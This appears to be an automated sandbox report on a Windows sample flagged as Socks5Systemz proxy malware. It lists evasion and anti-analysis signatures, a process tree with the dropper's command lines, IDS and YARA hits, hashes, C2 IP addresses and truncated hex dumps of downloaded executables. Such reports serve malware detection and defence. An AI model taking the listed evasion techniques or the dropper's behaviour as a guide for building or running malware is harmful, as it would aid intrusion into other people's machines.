Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1573851
MD5:	5a3f6aa1107d91bdc0430e2a0c1f4f26
SHA1:	316139dd3edcd5af3a8afbd89e44ac10bb8e87e7
SHA256:	f43ded143a77002b6aa1b860aecca5b94e00a601d1db104d04423e3b5e0261ca
Tags:	exeuser-Bitsight
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Yara detected Socks5Systemz

AI detected suspicious sample

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to infect the boot sector

Found API chain indicative of debugger detection

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

svchost.exe (PID: 1312 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 2932 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 1308 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6796 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1880 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 7652 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 6784 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5A3F6AA1107D91BDC0430E2A0C1F4F26)

sQurASc1qLwRL.exe (PID: 7748 cmdline: "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe" MD5: 23619F330C57AF62DE72DFFEBADBF07B)

sQurASc1qLwRL.tmp (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe" MD5: CC7B0A71A44CA4000DE2656C0486FD86)

schtasks.exe (PID: 7808 cmdline: "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

videominimizer2.exe (PID: 7852 cmdline: "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i MD5: BDDC95BF37B6EB97D516948CEC1CB311)

xIphwNW7O.exe (PID: 7916 cmdline: "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe" MD5: F328A95046E3A2514C36347EAEC911C0)

WerFault.exe (PID: 8064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7996 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 8040 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 8160 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\EarnPackage\EarnPackage.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: videominimizer2.exe PID: 7852	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
15.0.videominimizer2.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 1312, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T16:49:05.832704+0100	2028765	3	Unknown Traffic	192.168.2.11	49987	188.119.66.185	443	TCP
2024-12-12T16:49:08.095208+0100	2028765	3	Unknown Traffic	192.168.2.11	49990	188.119.66.185	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T16:49:06.512880+0100	2803274	2	Potentially Bad Traffic	192.168.2.11	49987	188.119.66.185	443	TCP
2024-12-12T16:49:08.823229+0100	2803274	2	Potentially Bad Traffic	192.168.2.11	49990	188.119.66.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://login.live.

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file

Avira: detection malicious, Label: PUA/Agent.EI

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	ReversingLabs: Detection: 54%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\EarnPackage\EarnPackage.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045CFD8 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	12_2_0045CFD8
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045D08C ArcFourCrypt,	12_2_0045D08C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045D0A4 ArcFourCrypt,	12_2_0045D0A4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_10001000 ISCryptGetVersion,	12_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_10001130 ArcFourCrypt,	12_2_10001130

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Unpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Video Minimizer_is1

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.11:49987 version: TLS 1.2

Source:	Binary string: msvcp71.pdbx# source: is-2UQRT.tmp.12.dr
Source:	Binary string: msvcr71.pdb< source: is-P1KGP.tmp.12.dr
Source:	Binary string: msvcp71.pdb source: is-2UQRT.tmp.12.dr
Source:	Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-OQPMB.tmp.12.dr
Source:	Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: xIphwNW7O.exe, 00000010.00000000.1948278515.0000000000F02000.00000002.00000001.01000000.0000000D.sdmp, PAB1[1].file.5.dr, xIphwNW7O.exe.5.dr
Source:	Binary string: msvcr71.pdb source: is-P1KGP.tmp.12.dr

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00452A60 FindFirstFileA,GetLastError,	12_2_00452A60
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00474DFC FindFirstFileA,FindNextFileA,FindClose,	12_2_00474DFC
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004625C4 FindFirstFileA,FindNextFileA,FindClose,	12_2_004625C4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00463B50 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	12_2_00463B50
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00497C14 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	12_2_00497C14
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00463FCC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	12_2_00463FCC

Source: global traffic

TCP traffic: 192.168.2.11:49991 -> 31.214.157.206:2024

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:01 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="ONE.file";Content-Length: 4250887Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:11 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="PAB1.file";Content-Length: 4608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 06 00 00 00 20 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 05 00 00 00 40 00 00 00 06 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 20 00 00 90 05 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 1e 02 28 0f 00 00 0a 2a 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 c0 01 00 00 23 7e 00 00 2c 02 00 00 48 02 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 74 04 00 00 04 00 00 00 23 55 53 00 78 04 00 00 10 00 00 00 23 47 55 49 44 00 00 00 88 04 00 00 08 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 47 15 00 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 01 00 00 00 0f 00 00 00 0e 00 00 00 01 00 00 00 01 00 00 00 00 00 78 01 01 00 00 00 00 00 06 00 ed 00 0c 02 06 00 5a 01 0c 02 06 00 21 00 da 01 0f 00 2c 02 00 00 06 00 49 00 b6 01 06 00 d0 00 b6 01 06 00 b1 00 b6 01 06 00 41 01 b6 01 06 00 0d 01 b6 01 06 00 26 01 b6 01 06 00 60 00 b6 01 06 00 35 00 ed 01 06 00 13 00 ed 01 06 00 94 00 b6 01 06 00 7b 00 88 01 06 00 40 02 aa 01 00 00 00 00 01 00 00 00 00 00 01 00 01 00 00 00 10 00 a2 01 c8 01 41 00 01 00 01 00 50 20 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:22 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:24 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 